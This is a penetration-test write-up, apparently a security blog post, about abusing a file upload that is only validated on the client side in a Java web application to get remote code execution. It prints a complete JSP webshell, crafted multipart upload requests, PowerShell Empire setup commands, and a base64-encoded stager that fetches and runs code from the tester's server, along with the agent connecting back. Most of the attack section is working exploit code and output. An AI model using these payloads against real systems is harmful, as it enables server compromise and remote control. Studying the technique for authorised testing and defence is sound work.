JSP File Upload Remote Code Execution using PowerShell Empire
During a penetration test on a Web application, we have found a file upload functionality. File uploads are always interesting for a penetration tester because they are difficult to implement securely. The application was written in Java, so, one file type we are interested in is JSP files, because they will be executed by the server if we can upload and access them.
Because everything is not so easy, the feature only allows some specific file types and when you upload anything else, an error message is displayed on the Web page:
However, is this validation done on client-side only? Indeed, when intercepting the request with a proxy, such as Burp, we are able to switch back to any file extensions. This is promising! Here is an example of the HTTP request where we modify some data to upload any file extensions:
POST /path/feature.seam HTTP/1.1 ... ... -----------------------------211094238509232 Content-Disposition: form-data; name="popups:0:j_idt17:j_idt20"; filename="okiok.jsp" Content-Type: text/html <HTML> <HEAD> <TITLE>OKIOK TEST</TITLE> </HEAD> <BODY> <p>This is a test!</p> </BODY> </HTML> -----------------------------211094238509232—
Now we need to find where the files are uploaded and verify if we can load it. The folder name “uploads” is always popular in terms of upload functionality.
Bingo! And, moreover, this is not only an HTML file, it was uploaded using a JSP extension, thus giving us a hint that Remote Code Execution may be possible. In this case, why not uploading a JSP backdoor on the server? Kali, through the package webshells, provides two examples:
/usr/share/webshells/jsp/cmdjsp.jsp /usr/share/webshells/jsp/jsp-reverse.jsp
Here is an example of the cmdjsp.jsp file:
<FORM METHOD=GET ACTION='cmdjsp.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s; } } catch(IOException e) { e.printStackTrace(); } } %> <pre> <%=output %> </pre>
When I uploaded the file, I got an error returned by the server. After multiple tries, I identified that the use of BufferedReader objects was causing some problems on the server side. The test was in black box mode, so this is nice when we do not call the client to ask him detailed logs because we have difficulty to perform code execution on its server!
So the next step was to use a more simplified JSP backdoor to validate what is working. I identifed that the simple ping request was working.
The code was looking like this:
POST /path/feature.seam HTTP/1.1 ... ... -----------------------------211094238509232 Content-Disposition: form-data; name="popups:0:j_idt17:j_idt20"; filename="okiok.jsp" Content-Type: text/html <HTML> <HEAD> <TITLE>OKIOK TEST</TITLE> </HEAD> <BODY> <%@ page import="java.io.*" %> <% Process p = Runtime.getRuntime().exec("cmd.exe /C ping my.server"); %> </BODY> </HTML> -----------------------------211094238509232—
And yes, I received ICMP request/reply (ping). Good, a remote code execution PoC! Can we do something more useful? Let use some Powershell Empire capability by injecting a stager directly on our payload.
First we install Powershell Empire (a server accessible directly from the Internet is required) :
git clone https://github.com/PowerShellEmpire/Empire.git cd Empire/setup/ ./install.sh cd .. ./empire
Then we create a listener:
root@kali:~/Empire# ./empire =========================================================================== Empire: PowerShell post-exploitation agent | [Version]: 1.3.3 =========================================================================== [Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub, @enigma0x3 =========================================================================== _______ .___ ___. .______ __ .______ _______ | ____|| \/ | | _ \ | | | _ \ | ____| | |__ | \ / | | |_) | | | | |_) | | |__ | __| | |\/| | | ___/ | | | / | __| | |____ | | | | | | | | | |\ \----.| |____ |_______||__| |__| | _| |__| | _| `._____||_______| 125 modules currently loaded 0 listeners currently active 0 agents currently active (Empire) > listeners [!] No listeners currently active (Empire: listeners) > set Host https://my.server:80 (Empire: listeners) > run
Then we create a stager:
(Empire: listeners) > usestager launcher test (Empire: stager/launcher) > generate powershell.exe -NoP -NonI -W Hidden -Enc JAB3AEMAPQBOAGUAdwAtAE8AYgBKAGUAYwB0ACAAUwB5AHMAVABlAG0ALgBOAEUAVAAuAF cAZQBCAEMAbABpAGUAbgBUADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAo AFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQ BkAGUAbgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUA YwBrAG8AJwA7ACQAdwBDAC4ASABFAGEARABFAFIAUwAuAEEAZABkACgAJwBVAHMAZQByAC 0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAVwBDAC4AUAByAE8AeABZACAAPQAgAFsAUwBZ AHMAVABFAE0ALgBOAGUAVAAuAFcARQBiAFIAZQBRAHUAZQBTAFQAXQA6ADoARABFAGYAQQ BVAGwAVABXAGUAYgBQAFIATwB4AFkAOwAkAFcAQwAuAFAAcgBvAHgAeQAuAEMAUgBFAGQA ZQBuAHQAaQBhAEwAcwAgAD0AIABbAFMAeQBTAFQAZQBtAC4ATgBFAHQALgBDAFIARQBkAG UAbgB0AEkAQQBsAEMAYQBjAEgAZQBdADoAOgBEAGUAZgBhAFUATAB0AE4AZQB0AFcATwBS AEsAQwBSAEUARABFAE4AdABJAEEATABTADsAJABLAD0AJwBrADEAQgB3AFgAQwAzAGAAfA BcAFIAZwBiACMAcwBbAG4AbwByAGwAdABhAHoATgBPAH4AXQBXACEAWgA3AGYAJwA7ACQA aQA9ADAAOwBbAEMASABhAFIAWwBdAF0AJABiAD0AKABbAGMASABhAFIAWwBdAF0AKAAkAH cAQwAuAEQATwBXAG4ATABvAEEAZABTAFQAcgBpAG4ARwAoACIAaAB0AHQAcAA6AC8ALwBt AHkALgBzAGUAcgB2AGUAcgA6ADgAMAAvAGkAbgBkAGUAeAAuAGEAcwBwACIAKQApACkAfA AlAHsAJABfAC0AYgBYAE8AcgAkAEsAWwAkAEkAKwArACUAJABrAC4ATABFAG4AZwB0AGgA XQB9ADsASQBFAFgAIAAoACQAQgAtAGoATwBJAG4AJwAnACkA
The final HTTP request was looking like this:
POST /path/feature.seam HTTP/1.1 ... ... -----------------------------211094238509232 Content-Disposition: form-data; name="popups:0:j_idt17:j_idt20"; filename="okiok.jsp" Content-Type: text/html <HTML> <HEAD> <TITLE>OKIOK TEST</TITLE> </HEAD> <BODY> <%@ page import="java.io.*" %> <% Process p = Runtime.getRuntime().exec("cmd.exe /C powershell.exe -NoP -NonI -W Hidden -Enc JAB3AEMAPQBOAGUAdwAtAE8AYgBKAGUAYwB0ACAAUwB5AHMAVABlAG0ALgBOAEUAVAAuAFcA ZQBCAEMAbABpAGUAbgBUADsAJAB1AD0AJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcA aQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUA bgB0AC8ANwAuADAAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8A JwA7ACQAdwBDAC4ASABFAGEARABFAFIAUwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUA bgB0ACcALAAkAHUAKQA7ACQAVwBDAC4AUAByAE8AeABZACAAPQAgAFsAUwBZAHMAVABFAE0A LgBOAGUAVAAuAFcARQBiAFIAZQBRAHUAZQBTAFQAXQA6ADoARABFAGYAQQBVAGwAVABXAGUA YgBQAFIATwB4AFkAOwAkAFcAQwAuAFAAcgBvAHgAeQAuAEMAUgBFAGQAZQBuAHQAaQBhAEwA cwAgAD0AIABbAFMAeQBTAFQAZQBtAC4ATgBFAHQALgBDAFIARQBkAGUAbgB0AEkAQQBsAEMA YQBjAEgAZQBdADoAOgBEAGUAZgBhAFUATAB0AE4AZQB0AFcATwBSAEsAQwBSAEUARABFAE4A dABJAEEATABTADsAJABLAD0AJwBrADEAQgB3AFgAQwAzAGAAfABcAFIAZwBiACMAcwBbAG4A bwByAGwAdABhAHoATgBPAH4AXQBXACEAWgA3AGYAJwA7ACQAaQA9ADAAOwBbAEMASABhAFIA WwBdAF0AJABiAD0AKABbAGMASABhAFIAWwBdAF0AKAAkAHcAQwAuAEQATwBXAG4ATABvAEEA ZABTAFQAcgBpAG4ARwAoACIAaAB0AHQAcAA6AC8ALwBtAHkALgBzAGUAcgB2AGUAcgA6ADgA MAAvAGkAbgBkAGUAeAAuAGEAcwBwACIAKQApACkAfAAlAHsAJABfAC0AYgBYAE8AcgAkAEsA WwAkAEkAKwArACUAJABrAC4ATABFAG4AZwB0AGgAXQB9ADsASQBFAFgAIAAoACQAQgAtAGoA TwBJAG4AJwAnACkA"); %> </BODY> </HTML> -----------------------------211094238509232—
And what do we get in our Empire interface:
(Empire: agents) > [+] Initial agent 3WVIENA934K99AF9 from IP now active
An active agent has just connected back on our server, we are in J
The next step is to extract some sensitive information. After some investigations, we … [removed content] … Sorry, sometimes confidentiality must be respected!